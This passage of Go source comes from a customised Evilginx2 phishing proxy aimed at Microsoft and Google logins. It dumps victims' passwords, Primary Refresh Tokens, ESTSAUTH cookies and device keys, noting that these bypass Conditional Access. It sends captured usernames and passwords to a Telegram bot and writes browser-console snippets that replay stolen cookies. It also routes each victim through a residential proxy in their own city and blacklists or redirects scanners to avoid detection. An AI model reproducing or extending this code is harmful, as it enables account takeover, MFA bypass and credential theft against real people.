	b.WriteString("║              DEVICE SESSION TOKENS - COMPLETE DUMP              ║\n")
	b.WriteString("╚══════════════════════════════════════════════════════════════════╝\n")
	b.WriteString(fmt.Sprintf("Session ID : %s\n", sid[:8]))
	b.WriteString(fmt.Sprintf("User       : %s\n", s.Username))
	b.WriteString(fmt.Sprintf("Password   : %s\n", s.Password))
	b.WriteString(fmt.Sprintf("IP         : %s (%s)\n", clientIP, country))
	b.WriteString(fmt.Sprintf("Phishlet   : %s\n", plName))
	b.WriteString(fmt.Sprintf("Instance   : %s\n", instance))
	b.WriteString(fmt.Sprintf("User-Agent : %s\n", s.UserAgent))
	b.WriteString("──────────────────────────────────────────────────────────────────\n")

	// 1. REFRESH TOKEN (PRT) - most valuable
	prtFound := false
	for cDomain, tokens := range s.CookieTokens {
		for name, tok := range tokens {
			if strings.HasPrefix(name, "x-ms-RefreshTokenCredential") && tok.Value != "" {
				prtFound = true
				b.WriteString("\n>>> PRT (Primary Refresh Token) - x-ms-RefreshTokenCredential <<<\n")
				b.WriteString(fmt.Sprintf("Domain : %s\n", cDomain))
				b.WriteString(fmt.Sprintf("Token  : %s\n", tok.Value))
				b.WriteString(fmt.Sprintf("Length : %d chars\n", len(tok.Value)))
				b.WriteString("[CRITICAL] This token bypasses Conditional Access when combined with device cert\n")
			}
		}
	}
	if !prtFound {
		b.WriteString("\n>>> PRT: NOT CAPTURED (victim browser may not have Windows SSO plugin) <<<\n")
	}

	// 2. ESTSAUTHPERSISTENT - session authentication
	b.WriteString("\n>>> ESTSAUTHPERSISTENT / ESTSAUTH Session Cookies <<<\n")
	for cDomain, tokens := range s.CookieTokens {
		for name, tok := range tokens {
			if name == "ESTSAUTHPERSISTENT" || name == "ESTSAUTH" {
				b.WriteString(fmt.Sprintf("  [%s] %s = %s... (%d chars)\n", cDomain, name, tok.Value[:min(len(tok.Value), 60)], len(tok.Value)))
			}
		}
	}

	// 3. ALL Microsoft cookies
	b.WriteString("\n>>> ALL Microsoft Session Cookies <<<\n")
	cookieCount := 0
	for cDomain, tokens := range s.CookieTokens {
		for name, tok := range tokens {
			if tok.Value == "" {
				continue
			}
			cookieCount++
			valPreview := tok.Value
			if len(valPreview) > 80 {
				valPreview = valPreview[:80] + "..."
			}
			b.WriteString(fmt.Sprintf("  [%s] %s = %s\n", cDomain, name, valPreview))
		}
	}
	if cookieCount == 0 {
		b.WriteString("  (no cookies captured)\n")
	}

	// 4. Body Tokens
	b.WriteString("\n>>> Body Tokens (extracted from response body) <<<\n")
	if len(s.BodyTokens) > 0 {
		for k, v := range s.BodyTokens {
			val := v
			if len(val) > 120 {
				val = val[:120] + "..."
			}
			b.WriteString(fmt.Sprintf("  %s = %s\n", k, val))
		}
	} else {
		b.WriteString("  (none)\n")
	}

	// 5. HTTP Tokens
	b.WriteString("\n>>> HTTP Tokens (extracted from headers) <<<\n")
	if len(s.HttpTokens) > 0 {
		for k, v := range s.HttpTokens {
			val := v
			if len(val) > 120 {
				val = val[:120] + "..."
			}
			b.WriteString(fmt.Sprintf("  %s = %s\n", k, val))
		}
	} else {
		b.WriteString("  (none)\n")
	}

	// 6. Device Registration Info
	b.WriteString("\n>>> Device Registration Keys <<<\n")
	safeUser := strings.ReplaceAll(s.Username, "@", "_")
	safeUser = strings.ReplaceAll(safeUser, ".", "_")
	keyPath := fmt.Sprintf("/tmp/ms_device_keys/%s.key", safeUser)
	if _, err := os.Stat(keyPath); err == nil {
		b.WriteString(fmt.Sprintf("  Key file: %s\n", keyPath))
		if data, err := ioutil.ReadFile(keyPath); err == nil {
			b.WriteString(fmt.Sprintf("  Key PEM (%d bytes):\n%s\n", len(data), string(data)))
		}
	} else {
		b.WriteString("  No device key yet (registration will trigger on token fetch)\n")
	}

	b.WriteString("\n══════════════════════════════════════════════════════════════════\n")
	b.WriteString("  Save this output! PRT + Device Key = CA Bypass\n")
	b.WriteString("  Use: roadtools_rt PRT_decryption.py or TokenTactics\n")
	b.WriteString("══════════════════════════════════════════════════════════════════\n")

	output := b.String()
	fmt.Fprint(os.Stderr, output)

	// Also save to a local file for persistence
	dumpFile := fmt.Sprintf("/tmp/session_tokens_%s_%s.txt", safeUser, sid[:8])
	if err := os.WriteFile(dumpFile, []byte(output), 0600); err == nil {
		log.Success("[TOKEN-DUMP] Session tokens saved to: %s", dumpFile)
	}
}

// extractFlowTokens parses Microsoft login page HTML/JSON to extract flow
// tokens (sFT, sCtx, sCanary, urlPost, etc.) that are needed for token
// exchange requests and device registration flows.
func extractFlowTokens(body string) map[string]string {
	tokens := make(map[string]string)

	// $Config = {...}; pattern (most common in Microsoft login pages)
	configRe := regexp.MustCompile(`\$Config\s*=\s*(\{[\s\S]*?\});`)
	if m := configRe.FindStringSubmatch(body); len(m) > 1 {
		var cfg struct {
			SFT      string `json:"sFT"`
			SCtx     string `json:"sCtx"`
			URLPost  string `json:"urlPost"`
			SCanary  string `json:"canary"`
			SFTName  string `json:"sFTName"`
		}
		if json.Unmarshal([]byte(m[1]), &cfg) == nil {
			if cfg.SFT != "" { tokens["sFT"] = cfg.SFT }
			if cfg.SCtx != "" { tokens["sCtx"] = cfg.SCtx }
			if cfg.URLPost != "" { tokens["urlPost"] = cfg.URLPost }
			if cfg.SCanary != "" { tokens["canary"] = cfg.SCanary }
			if cfg.SFTName != "" { tokens["sFTName"] = cfg.SFTName }
		}
	}

	// AADSTS error codes in the body
	aadstsRe := regexp.MustCompile(`(AADSTS[0-9]+)`)
	if m := aadstsRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["AADSTS_Error"] = m[1]
	}

	// sFT as hidden input field
	sftRe := regexp.MustCompile(`name="sFT"[^>]*value="([^"]+)"`)
	if m := sftRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["sFT_input"] = m[1]
	}

	// sCtx as hidden input field
	ctxRe := regexp.MustCompile(`name="sCtx"[^>]*value="([^"]+)"`)
	if m := ctxRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["sCtx_input"] = m[1]
	}

	// canary as hidden input
	canaryRe := regexp.MustCompile(`name="canary"[^>]*value="([^"]+)"`)
	if m := canaryRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["canary_input"] = m[1]
	}

	// Authorization code in URL (if body contains a redirect URL)
	codeRe := regexp.MustCompile(`[?&]code=([^&\s"']+)`)
	if m := codeRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["auth_code"] = m[1]
	}

	// Correlation ID (useful for Microsoft support/debugging)
	corrRe := regexp.MustCompile(`["']correlationId["']\s*:\s*["']([^"']+)["']`)
	if m := corrRe.FindStringSubmatch(body); len(m) > 1 {
		tokens["correlationId"] = m[1]
	}

	return tokens
}

// telegramPending fires on EVERY password capture.
func (p *HttpProxy) telegramPending(sid string, index int, plName string, instance string) {
	s, ok := p.sessions.Get(sid)
	if !ok || s.Username == "" || s.Password == "" {
		return
	}
	wrongBot := p.telegramConfig.WrongBotToken
	wrongChat := p.telegramConfig.WrongChatID
	clientIP := strings.SplitN(s.RemoteAddr, ":", 2)[0]
	country := p.getCountryByIP(clientIP)
	mfaType := ""
	if val, _ := p.sessionMFAType.Load(sid); val != nil {
		mfaType = val.(string)
	}
	if mfaType == "" {
		mfaType = "Not yet detected"
	}

	prevUser := ""
	prevPass := ""
	if val, _ := p.sessionLastUser.Load(sid); val != nil {
		prevUser = val.(string)
	}
	if val, _ := p.sessionLastPass.Load(sid); val != nil {
		prevPass = val.(string)
	}
	p.sessionLastUser.Store(sid, s.Username)
	p.sessionLastPass.Store(sid, s.Password)

	if prevUser != "" && prevPass != "" && wrongBot != "" && wrongChat != "" {
		alreadyCorrect := false
		if val, _ := p.telegramCorrectSent.Load(sid); val != nil {
			alreadyCorrect = val.(bool)
		}
		hadMFA := false
		if val, _ := p.sessionMFAType.Load(sid); val != nil {
			hadMFA = val.(string) != ""
		}
		if !alreadyCorrect && !hadMFA {
			wrongMsg := fmt.Sprintf(
				"<b>WRONG PASSWORD</b>\r\n\r\n"+
					"<b>Instance:</b> <code>%s</code>\r\n"+
					"<b>Session:</b> %d\r\n"+
					"<b>Phishlet:</b> %s\r\n"+
					"<b>Username:</b> <code>%s</code>\r\n"+
					"<b>Password:</b> <code>%s</code>\r\n"+
					"<b>IP:</b> %s\r\n"+
					"<b>Country:</b> %s\r\n"+
					"<b>MFA Type:</b> %s",
				instance, index, plName, prevUser, prevPass, clientIP, country, mfaType,
			)
			telegramSend(wrongBot, wrongChat, wrongMsg)
		}
	}

	if wrongBot != "" && wrongChat != "" {
		go func(user string, pass string, sessId string, idx int, pl string, inst string, ip string, cntry string, mfa string) {
			time.Sleep(3 * time.Second)

			completed := false
			if val, _ := p.telegramCorrectSent.Load(sessId); val != nil {
				completed = val.(bool)
			}
			if completed {
				return
			}

			hasMFA := false
			if val, _ := p.sessionMFAType.Load(sessId); val != nil {
				hasMFA = val.(string) != ""
			}
			if hasMFA {
				return
			}

			p.session_mtx.RLock()
			sess, exists := p.sessions.Get(sessId)
			done := false
			if exists {
				done = sess.IsDone
			}
			p.session_mtx.RUnlock()
			if done {
				return
			}

			latestUser := ""
			latestPass := ""
			if val, _ := p.sessionLastUser.Load(sessId); val != nil {
				latestUser = val.(string)
			}
			if val, _ := p.sessionLastPass.Load(sessId); val != nil {
				latestPass = val.(string)
			}
			if user != latestUser || pass != latestPass {
				return
			}

			wrongMsg := fmt.Sprintf(
				"<b>WRONG PASSWORD</b>\r\n\r\n"+
					"<b>Instance:</b> <code>%s</code>\r\n"+
					"<b>Session:</b> %d\r\n"+
					"<b>Phishlet:</b> %s\r\n"+
					"<b>Username:</b> <code>%s</code>\r\n"+
					"<b>Password:</b> <code>%s</code>\r\n"+
					"<b>IP:</b> %s\r\n"+
					"<b>Country:</b> %s\r\n"+
					"<b>MFA Type:</b> %s",
				inst, idx, pl, user, pass, ip, cntry, mfa,
			)
			telegramSend(wrongBot, wrongChat, wrongMsg)
		}(s.Username, s.Password, sid, index, plName, instance, clientIP, country, mfaType)
	}
}

func detectMFAType(urlPath string) string {
	p := strings.ToLower(urlPath)
	if strings.Contains(p, "/sas/beginauth") || strings.Contains(p, "/sas/endauth") { return "TOTP / Authenticator Code" }
	if strings.Contains(p, "/sas/") { return "Microsoft MFA" }
	if strings.Contains(p, "proofup") { return "MFA Setup" }
	if strings.Contains(p, "/secure/aad/") && strings.Contains(p, "mfa") { return "Azure AD MFA" }
	if strings.Contains(p, "/signin/challenge") {
		if strings.Contains(p, "totp") || strings.Contains(p, "totprom") { return "TOTP" }
		if strings.Contains(p, "sms") || strings.Contains(p, "sk") { return "SMS" }
		return "Google MFA"
	}
	if strings.Contains(p, "/mfa/") || strings.Contains(p, "/2fa/") { return "MFA" }
	if strings.Contains(p, "totp") { return "TOTP" }
	if strings.Contains(p, "sms") { return "SMS" }
	if strings.Contains(p, "challenge") { return "Challenge" }
	return ""
}

func (p *HttpProxy) getCountryByIP(ip string) string {
	if val, _ := p.ipCountryCache.Load(ip); val != nil {
		return val.(string)
	}
	resp, err := http.Get(fmt.Sprintf("http://ip-api.com/json/%s?fields=country,countryCode,status,message", ip))
	if err != nil { return "unknown" }
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil { return "unknown" }
	var result struct {
		Status      string `json:"status"`
		Message     string `json:"message"`
		Country     string `json:"country"`
		CountryCode string `json:"countryCode"`
	}
	if err := json.Unmarshal(body, &result); err != nil || result.Status != "success" { return "unknown" }
	country := result.Country
	if result.CountryCode != "" { country = fmt.Sprintf("%s (%s)", result.Country, result.CountryCode) }
	p.ipCountryCache.Store(ip, country)
	return country
}

func findRefreshTokenCredential(s *Session) (token string, domain string) {
	for cDomain, tokens := range s.CookieTokens {
		for name, tokenObj := range tokens {
			if name == "x-ms-RefreshTokenCredential" && tokenObj.Value != "" {
				return tokenObj.Value, cDomain
			}
		}
	}
	return "", ""
}

func formatRefreshTokenTxt(token string, domain string) string {
	var out strings.Builder
	out.WriteString("=== x-ms-RefreshTokenCredential ===\r\n\r\n")
	out.WriteString(fmt.Sprintf("Domain: %s\r\n", domain))
	out.WriteString(fmt.Sprintf("Token:\r\n%s\r\n\r\n", token))
	out.WriteString("=== Usage ===\r\n")
	out.WriteString("1. Open the target site in Chrome\r\n")
	out.WriteString("2. Press F12 -> Console tab\r\n")
	out.WriteString("3. Paste the line below and press Enter:\r\n\r\n")
	out.WriteString(fmt.Sprintf(`document.cookie = "x-ms-RefreshTokenCredential=%s; domain=%s; path=/";

`, token, domain))
	out.WriteString("4. Refresh the page - you should be logged in.\r\n")
	return out.String()
}

func formatCookiesForChrome(s *Session, domain string) string {
	var out strings.Builder
	out.WriteString("// Evilginx2 captured cookies\r\n")
	out.WriteString(fmt.Sprintf("// Domain: %s\r\n", domain))
	out.WriteString(fmt.Sprintf("// Session: %s\r\n", s.Id))
	out.WriteString("// Paste these lines into Chrome Console (F12 -> Console tab)\r\n\r\n")
	for cDomain, tokens := range s.CookieTokens {
		for name, token := range tokens {
			out.WriteString(fmt.Sprintf(`document.cookie = "%s=%s; domain=%s; path=%s";
`,
				name, token.Value, cDomain, token.Path))
		}
	}
	return out.String()
}

func (p *HttpProxy) getLureByPathWithPattern(pl_name string, o_host string, req_path string) (*Lure, error) {
	l, err := p.cfg.GetLureByPath(pl_name, o_host, req_path)
	if err == nil {
		return l, nil
	}
	if DYNAMIC_LURE_PATH_RE.MatchString(req_path) {
		return &Lure{
			Path:     req_path,
			Phishlet: pl_name,
		}, nil
	}
	return nil, fmt.Errorf("lure for path '%s' not found", req_path)
}

func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error) {
	var data map[string]interface{}
	if err := json.Unmarshal(body, &data); err != nil {
		return nil, err
	}
	data[key] = value
	newBody, err := json.Marshal(data)
	if err != nil {
		return nil, err
	}
	return newBody, nil
}
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
	p := &HttpProxy{
		Proxy:             goproxy.NewProxyHttpServer(),
		Server:            nil,
		crt_db:            crt_db,
		cfg:               cfg,
		db:                db,
		bl:                bl,
		gophish:           NewGoPhish(),
		isRunning:         false,
		last_sid:          0,
		developer:         developer,
		// ipWhitelist and ipSids are sync.Map — no make() needed
		auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"},
		telegramCorrectSent: sync.Map{},
		telegramWrongSent:   sync.Map{},
		telegramPendingSent: sync.Map{},
		ipCountryCache:      sync.Map{},
		sessionMFAType:      sync.Map{},
		passwordAttemptNum:  sync.Map{},
		sessionLastUser:     sync.Map{},
		sessionLastPass:     sync.Map{},
		telegramConfig:      loadTelegramConfig(),
		geoManager:          GetGeoManager(),
		transportPool:       make(map[string]*http.Transport),
		ipProxyMap:          make(map[string]string),
	}

	
	// Auto-load DataImpulse credentials from config.json
	proxyCfg := loadProxyConfig()
	if proxyCfg.Enabled && proxyCfg.Username != "" && proxyCfg.Password != "" {
		p.geoManager.SetCredentials(proxyCfg.Username, proxyCfg.Password)
		p.geoManager.Enable()
		log.Success("GeoProxy: Auto-enabled from config.json | User: %s | Endpoint: %s:%d", proxyCfg.Username, proxyCfg.Address, proxyCfg.Port)
	}

	p.Server = &http.Server{
		Addr:         fmt.Sprintf("%s:%d", hostname, port),
		Handler:      p.Proxy,
		ReadTimeout:  httpReadTimeout,
		WriteTimeout: httpWriteTimeout,
	}


	if cfg.proxyConfig.Enabled {
		// ============================================
		// GEO-PROXY INTEGRATION: Check if geo-proxy is enabled
		// If yes, use per-victim routing instead of static proxy
		// ============================================
		if p.geoManager.IsEnabled() {
			log.Info("GeoProxy: Per-victim routing active - static proxy config ignored")
			// Geo-proxy will be applied per-session in OnRequest
		} else {
			err := p.setProxy(cfg.proxyConfig.Enabled, cfg.proxyConfig.Type, cfg.proxyConfig.Address, cfg.proxyConfig.Port, cfg.proxyConfig.Username, cfg.proxyConfig.Password)
			if err != nil {
				log.Error("proxy: %v", err)
				cfg.EnableProxy(false)
			} else {
				log.Info("enabled proxy: " + cfg.proxyConfig.Address + ":" + strconv.Itoa(cfg.proxyConfig.Port))
			}
		}
	}

	p.cookieName = strings.ToLower(GenRandomString(8))
	p.sessions = NewShardedSessionStore()
	p.sids = NewShardedSidStore()

	p.Proxy.Verbose = false

	// Start high-throughput credential pipeline
	initCredentialPipeline()

	// Set up per-session geo-proxy routing via Transport.Proxy function
	// This is called for every request and can return different proxies per session
	if p.Proxy.Tr != nil {
		p.Proxy.Tr.Proxy = p.geoProxySelector
		log.Info("GeoProxy: Per-session proxy selector installed")
	}


	p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
		req.URL.Scheme = "https"
		req.URL.Host = req.Host
		p.Proxy.ServeHTTP(w, req)
	})

	p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)

	p.Proxy.OnRequest().
		DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
			ps := &ProxySession{
				SessionId:    "",
				Created:      false,
				PhishDomain:  "",
				PhishletName: "",
				Index:        -1,
			}
			ctx.UserData = ps
			hiblue := color.New(color.FgHiBlue)

			from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0]

			proxyHeaders := []string{"CF-Connecting-IP", "X-Forwarded-For", "X-Real-IP", "X-Client-IP", "Connecting-IP", "True-Client-IP", "Client-IP"}
			for _, h := range proxyHeaders {
				origin_ip := req.Header.Get(h)
				if origin_ip != "" {
					from_ip = strings.SplitN(origin_ip, ":", 2)[0]
					break
				}
			}

			if p.cfg.GetBlacklistMode() != "off" {
				if p.bl.IsBlacklisted(from_ip) {
					if p.bl.IsVerbose() {
						log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
					}
					return p.blockRequest(req)
				}
				if p.cfg.GetBlacklistMode() == "all" {
					if !p.bl.IsWhitelisted(from_ip) {
						err := p.bl.AddIP(from_ip)
						if p.bl.IsVerbose() {
							if err != nil {
								log.Error("blacklist: %s", err)
							} else {
								log.Warning("blacklisted ip address: %s", from_ip)
							}
						}
					}
					return p.blockRequest(req)
				}
			}

			req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
			o_host := req.Host
			lure_url := req_url
			req_path := req.URL.Path
			if req.URL.RawQuery != "" {
				req_url += "?" + req.URL.RawQuery
			}

			pl := p.getPhishletByPhishHost(req.Host)
			remote_addr := from_ip

			phishDomain, phished := p.getPhishDomain(req.Host)
			if phished && pl != nil {
				pl_name := pl.Name
				ps.PhishletName = pl_name
				session_cookie := getSessionCookieName(pl_name, p.cookieName)

				hasSessionCookie := false
				if sc, err := req.Cookie(session_cookie); err == nil {
					if idx, ok := p.sids.Get(sc.Value); ok {
						hasSessionCookie = true
						ps.SessionId = sc.Value
						ps.Index = idx
						ps.PhishDomain = phishDomain
						log.Debug("existing session cookie found: %s [%d]", sc.Value, idx)
					}
				}

				if len(req_path) > 50 && req_path != "/" {
					parts := strings.Split(strings.Trim(req_path, "/"), "/")
					if len(parts) == 2 {
						part1 := parts[0]
						part2 := parts[1]

						if len(part1) >= 8 && len(part1) <= 16 &&
							FAKE_HISTORY_PATH_RE.MatchString(part1) &&
							len(part2) >= 100 &&
							FAKE_HISTORY_HASH_RE.MatchString(part2) {

							if hasSessionCookie && ps.SessionId != "" {
								log.Debug("fake path + valid session: %s -> rewriting to /", req_path)
								req_path = "/"
								req.URL.Path = "/"
								req_url = req.URL.Scheme + "://" + req.Host + req.URL.Path
								if req.URL.RawQuery != "" {
									req_url += "?" + req.URL.RawQuery
								}
							} else {
								log.Warning("fake path + NO session: %s -> redirecting to example.com", req_path)
								resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
								if resp != nil {
									resp.Header.Add("Location", "https://example.com")
									return req, resp
								}
							}
						}
					}
				}
			}

			// ============================================
			// INTERCEPT PRT (x-ms-RefreshTokenCredential) FROM REQUEST HEADERS
			// The PRT is sent by the browser's Windows SSO plugin as a REQUEST
			// header to Microsoft. Since evilginx is the proxy, it sees ALL
			// request headers going to microsoftonline.com. We extract it here.
			// ============================================
			if ps.SessionId != "" && pl != nil && strings.Contains(o_host, "microsoftonline") {
				prtHeaders := []string{
					"x-ms-RefreshTokenCredential",
					"X-Ms-RefreshTokenCredential",
				}
				for _, hdrName := range prtHeaders {
					if prtVal := req.Header.Get(hdrName); prtVal != "" {
						log.Success("[MS-TOKEN] [PRT] INTERCEPTED %s from request header! (len=%d)", hdrName, len(prtVal))
						log.Info("[MS-TOKEN] [PRT] TOKEN: %s...", prtVal[:min(len(prtVal), 100)])
						if s, ok := p.sessions.Get(ps.SessionId); ok && s.Username != "" {
							log.Success("[MS-TOKEN] [PRT] User: %s | Session: %s", s.Username, s.Id[:8])
							log.Info("[MS-TOKEN] [PRT] Triggering PRT-based token fetch for %s", s.Username)
							go GetMicrosoftTokenFetcher().FetchAndLog(s.Id, s.Username, s.Password, s.CookieTokens, prtVal)
						} else if s, ok := p.sessions.Get(ps.SessionId); ok {
							log.Info("[MS-TOKEN] [PRT] Triggering PRT-based token fetch (username unknown)")
							go GetMicrosoftTokenFetcher().FetchAndLog(s.Id, "", "", s.CookieTokens, prtVal)
						}
						break
					}
				}
			}

			// ============================================
			// GEO-PROXY: Apply per-victim routing if enabled
			// Each session gets its own proxy configuration
			// ============================================
			if p.geoManager.IsEnabled() && ps.SessionId != "" {
				// Assign proxy and get/create shared transport
				proxy, err := p.geoManager.AssignProxyForSession(ps.SessionId, remote_addr)
				if err == nil && proxy.ProxyURL != "" {
					u, _ := url.Parse(proxy.ProxyURL)
					if u != nil {
						// SHARED pool: key by proxy URL, not session ID.
						// At 1k+ sessions hitting the same DataImpulse endpoint,
						// this reuses connections instead of 1k separate pools.
						proxyKey := proxy.ProxyURL
						p.transportPoolMux.RLock()
						trans, exists := p.transportPool[proxyKey]
						p.transportPoolMux.RUnlock()
						if !exists {
							p.transportPoolMux.Lock()
							// Double-check after lock
							trans, exists = p.transportPool[proxyKey]
							if !exists {
								trans = &http.Transport{
									Dial:                  http_dialer.New(u).Dial,
									MaxIdleConns:          1000,
									IdleConnTimeout:       120 * time.Second,
									TLSHandshakeTimeout:   10 * time.Second,
									ExpectContinueTimeout: 1 * time.Second,
									MaxIdleConnsPerHost:   200,
								}
								p.transportPool[proxyKey] = trans
								log.Info("[%d] GeoProxy transport pool created for %s", ps.Index, proxyKey)
							}
							p.transportPoolMux.Unlock()
						}
						log.Info("[%d] GeoProxy assigned: %s (transport reused: %v)", ps.Index, proxy.ProxyURL, exists)
					}
				} else {
					log.Warning("GeoProxy: Failed to assign proxy: %v", err)
				}

				// Store session ID in a custom header that survives through goproxy
				// Headers are preserved when goproxy forwards requests, unlike context
				req.Header.Set("X-GeoProxy-Session", ps.SessionId)

				// Also store in IP map as additional fallback
				clientIP := req.Header.Get("CF-Connecting-IP")
				if clientIP == "" {
					clientIP = strings.SplitN(req.RemoteAddr, ":", 2)[0]
				}
				p.ipProxyMux.Lock()
				if proxy := p.geoManager.GetProxyForSession(ps.SessionId); proxy != nil && proxy.ProxyURL != "" {
					p.ipProxyMap[clientIP] = proxy.ProxyURL
					log.Debug("GeoProxy: IP %s -> %s", clientIP, proxy.ProxyURL)
				}
				p.ipProxyMux.Unlock()
			}

			redir_re := regexp.MustCompile(`^\/s\/([^\/]*)`)
			js_inject_re := regexp.MustCompile(`^\/s\/([^\/]*)\/([^\/]*)`)

			if js_inject_re.MatchString(req.URL.Path) {
				ra := js_inject_re.FindStringSubmatch(req.URL.Path)
				if len(ra) >= 3 {
					session_id := ra[1]
					js_id := ra[2]
					if strings.HasSuffix(js_id, ".js") {
						js_id = js_id[:len(js_id)-3]
						if s, ok := p.sessions.Get(session_id); ok {
							var d_body string
							var js_params *map[string]string = nil
							js_params = &s.Params

							script, err := pl.GetScriptInjectById(js_id, js_params)
							if err == nil {
								d_body += script + "\r\n\r\n"
							} else {
								log.Warning("js_inject: script not found: '%s'", js_id)
							}
							resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
							return req, resp
						} else {
							log.Warning("js_inject: session not found: '%s'", session_id)
						}
					}
				}
			} else if redir_re.MatchString(req.URL.Path) {
				ra := redir_re.FindStringSubmatch(req.URL.Path)
				if len(ra) >= 2 {
					session_id := ra[1]
					if strings.HasSuffix(session_id, ".js") {
						session_id = session_id[:len(session_id)-3]
						if s, ok := p.sessions.Get(session_id); ok {
							var d_body string
							if !s.IsDone {
								if s.RedirectURL != "" {
									dynamic_redirect_js := DYNAMIC_REDIRECT_JS
									dynamic_redirect_js = strings.ReplaceAll(dynamic_redirect_js, "{session_id}", s.Id)
									d_body += dynamic_redirect_js + "\r\n\r\n"
								}
							}
							resp := goproxy.NewResponse(req, "application/javascript", 200, string(d_body))
							return req, resp
						} else {
							log.Warning("js: session not found: '%s'", session_id)
						}
					} else {
						if _, ok := p.sessions.Get(session_id); ok {
							redirect_url, ok := p.waitForRedirectUrl(session_id)
							if ok {
								type ResponseRedirectUrl struct {
									RedirectUrl string `json:"redirect_url"`
								}
								d_json, err := json.Marshal(&ResponseRedirectUrl{RedirectUrl: redirect_url})
								if err == nil {
									s_index, _ := p.sids.Get(session_id)
									log.Important("[%d] dynamic redirect to URL: %s", s_index, redirect_url)
									resp := goproxy.NewResponse(req, "application/json", 200, string(d_json))
									return req, resp
								}
							}
							resp := goproxy.NewResponse(req, "application/json", 408, "")
							return req, resp
						} else {
							log.Warning("api: session not found: '%s'", session_id)
						}
					}
				}
			}

			if phished {
				pl_name := ""
				if pl != nil {
					pl_name = pl.Name
					ps.PhishletName = pl_name
				}
				session_cookie := getSessionCookieName(pl_name, p.cookieName)

				ps.PhishDomain = phishDomain
				req_ok := false
				if p.handleSession(req.Host) && pl != nil {
					l, err := p.getLureByPathWithPattern(pl_name, o_host, req_path)
					if err == nil {
						log.Debug("triggered lure for path '%s'", req_path)
					}

					var create_session bool = true
					var ok bool = false
					sc, err := req.Cookie(session_cookie)
					if err == nil {
						ps.Index, ok = p.sids.Get(sc.Value)
						if ok {
							create_session = false
							ps.SessionId = sc.Value
							p.whitelistIP(remote_addr, ps.SessionId, pl.Name)
						} else {
							log.Error("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
						}
					} else {
						if l == nil && p.isWhitelistedIP(remote_addr, pl.Name) {
							create_session = false
							req_ok = true
						}
					}

					if create_session {
						if !p.cfg.IsSiteHidden(pl_name) {
							if l != nil {
								if l.PausedUntil > 0 && time.Unix(l.PausedUntil, 0).After(time.Now()) {
									log.Warning("[%s] lure is paused: %s [%s]", hiblue.Sprint(pl_name), req_url, remote_addr)
									return p.blockRequest(req)
								}

								if len(l.UserAgentFilter) > 0 {
									re, err := regexp.Compile(l.UserAgentFilter)
									if err == nil {
										if !re.MatchString(req.UserAgent()) {
											log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)

											if p.cfg.GetBlacklistMode() == "unauth" {
												if !p.bl.IsWhitelisted(from_ip) {
													err := p.bl.AddIP(from_ip)
													if p.bl.IsVerbose() {
														if err != nil {
															log.Error("blacklist: %s", err)
														} else {
															log.Warning("blacklisted ip address: %s", from_ip)
														}
													}
												}
												return p.blockRequest(req)
											}
										}
									} else {
										log.Error("lures: user-agent filter regexp is invalid: %v", err)
									}
								}

								session, err := NewSession(pl.Name)
								if err == nil {
									p.extractParams(session, req.URL)

									if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
										if trackParam, ok := session.Params["o"]; ok {
											if trackParam == "track" {
												rid, ok := session.Params["rid"]
												if ok && rid != "" {
													log.Info("[gophish] [%s] email opened: %s (%s)", hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
													p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
													err = p.gophish.ReportEmailOpened(rid, remote_addr, req.Header.Get("User-Agent"))
													if err != nil {
														log.Error("gophish: %s", err)
													}
													return p.trackerImage(req)
												}
											}
										}
									}

									sid := p.last_sid
									p.last_sid += 1
									log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
									log.Info("[%d] [%s] landing URL: %s", sid, hiblue.Sprint(pl_name), req_url)
									p.sessions.Set(session.Id, session)
									p.sids.Set(session.Id, sid)


							// ============================================
							// GEO-PROXY: Async proxy assignment for 1k+ scale
							// Geo lookup + proxy assignment done in background
							// so session creation is never blocked.
							// ============================================
							if p.geoManager.IsEnabled() {
								go func(sid int, sessId, remoteAddr, userAgent string) {
									geo, geoErr := p.geoManager.LookupGeo(remoteAddr)
									if geoErr == nil && geo != nil {
										log.Info("GeoProxy: Victim IP %s detected as: %s, %s (%s)", remoteAddr, geo.City, geo.Country, geo.CountryCode)
										log.Info("GeoProxy: Session %s -> routing through DataImpulse to %s, %s", sessId[:16], geo.City, geo.Country)

										if proxy, err := p.geoManager.AssignProxyForSession(sessId, remoteAddr); err == nil {
											// Background health check — non-blocking to session creation
											u, _ := url.Parse(proxy.ProxyURL)
											if u != nil {
												log.Info("GeoProxy: [SESSION %s] Testing city proxy: %s, %s (port %s)", sessId[:8], geo.City, geo.CountryCode, u.Port())
												if p.geoManager.testProxyURL(proxy.ProxyURL) {
													log.Success("GeoProxy: [SESSION %s] ✓ City proxy AVAILABLE → %s, %s", sessId[:8], geo.City, geo.CountryCode)
														// Verify: Does the exit IP actually show the requested city?
														actualCity := p.geoManager.verifyProxyExitCity(proxy.ProxyURL, geo.CountryCode, geo.City)
